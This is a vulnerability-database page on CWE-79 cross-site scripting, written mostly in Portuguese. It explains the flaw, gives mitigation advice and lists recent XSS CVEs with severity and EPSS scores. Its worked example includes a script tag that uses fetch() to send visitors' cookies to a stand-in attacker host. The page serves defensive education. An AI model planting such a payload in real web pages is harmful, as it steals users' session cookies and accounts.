Fallos del tipo CWE-79

30.540 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-66823LOWAn HTML Injection vulnerability in TrueConf server 5.5.2.10813 in the conference description field allows an attacker to inject arbitrary HTEPSS 0.2%CVE-2025-11882MEDIUMSimple Donate <= 1.0 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.2%CVE-2025-11834MEDIUMWP AD Gallery <= 1.3 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.2%CVE-2026-19876MEDIUMReflected XSS in INFINITT ULite login error page (pre-auth)EPSS 0.2%CVE-2026-20059MEDIUMCisco Unity Connection Reflected Cross-Site Scripting VulnerabilityEPSS 0.2%CVE-2025-62756MEDIUMWordPress The Moneytizer plugin <= 10.0.9 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2025-12651MEDIUMLive Photos on WordPress <= 0.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.2%CVE-2025-36148MEDIUMIBM Financial Transaction Manager for SWIFT Services for Multiplatforms is vulnerable to cross-site scripting.EPSS 0.2%CVE-2026-6735HIGHXSS within PHP-FPM status endpointEPSS 0.2%CVE-2025-12090MEDIUMEmployee Spotlight – Team Member Showcase & Meet the Team Plugin <= 5.1.2 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.2%CVE-2025-3075MEDIUMElementor <= 3.29.0 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.2%CVE-2025-62749MEDIUMWordPress User Specific Content plugin <= 1.0.6 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2026-107625MEDIUMUltimate Member <= 2.14.0 - Authenticated (Subscriber+) Stored Cross-Site Scripting via 'user_url' Profile FieldEPSS 0.2%CVE-2026-8891MEDIUMBitForm <= 1.1.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode AttributesEPSS 0.2%CVE-2025-12096MEDIUMSimple Excel Pricelist for WooCommerce <= 1.13 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.2%CVE-2026-103303HIGHTurisbook Booking System <= 1.3.8 - Unauthenticated Stored XSS via Cart Background SettingEPSS 0.2%CVE-2025-12112MEDIUMInsert Headers and Footers Code – HT Script <= 1.1.6 - Authenticated (Author+) Stored Cross-Site ScriptingEPSS 0.2%CVE-2025-11880MEDIUMSM CountDown Widget <= 1.2 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.2%CVE-2026-25739MEDIUMIndico affected by Cross-Site-Scripting via material uploadsEPSS 0.2%CVE-2026-118048MEDIUMWP Data Access <= 5.5.89 - Authenticated (Subscriber+) Stored Cross-Site Scripting via Autocomplete Lookup LabelEPSS 0.2%